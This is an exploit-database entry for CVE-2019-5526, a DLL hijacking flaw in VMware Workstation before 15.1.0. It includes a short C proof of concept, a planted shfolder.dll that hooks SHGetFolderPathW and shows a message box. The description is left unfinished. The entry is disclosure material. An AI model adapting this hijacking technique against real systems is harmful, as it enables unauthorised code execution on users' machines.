VMware Workstation DLL hijacking < 15.1.0

vendor:

VMware Workstation Pro / Player (Workstation)

by:

Miguel Mendez Z. & Claudio Cortes C.

7.8

CVSS

HIGH

DLL hijacking

Unknown

CWE

Product Name: VMware Workstation Pro / Player (Workstation)

Affected Version From: Unknown

Affected Version To: 15.1.2000

Patch Exists: YES

Related CWE: CVE-2019-5526

CPE: Unknown

Metasploit: https://www.rapid7.com/db/vulnerabilities/vmsa-2019-0007-cve-2019-5526-workstation/, https://www.rapid7.com/db/vulnerabilities/vmsa-2019-0007-cve-2019-5526-player/

Other Scripts:

Platforms Tested: Windows 7_x86/7_x64

2019

VMware Workstation DLL hijacking < 15.1.0

VMware Workstation contains a DLL hijacking issue because some DLL.

Mitigation:

Unknown

Source

Exploit-DB raw data:

#---------------------------------------------------------
# Title: VMware Workstation DLL hijacking < 15.1.0
# Date: 2019-05-14
# Author: Miguel Mendez Z. & Claudio Cortes C.
# Team: www.exploiting.cl
# Vendor: https://www.vmware.com
# Version: VMware Workstation Pro / Player (Workstation)
# Tested on: Windows Windows 7_x86/7_x64 [eng]
# Cve: CVE-2019-5526
#---------------------------------------------------------


Description:

VMware Workstation contains a DLL hijacking issue because some DLL.


DLL Hijacking: shfolder.dll
Hooking: SHGetFolderPathW()

------Code_Poc-------
#include "dll.h"
#include <windows.h>

DLLIMPORT void SHGetFolderPathW()
{
MessageBox(0, "s1kr10s", "VMWare-Poc", MB_ICONINFORMATION);
exit(0);
}

--------------------------


https://www.vmware.com/security/advisories/VMSA-2019-0007.html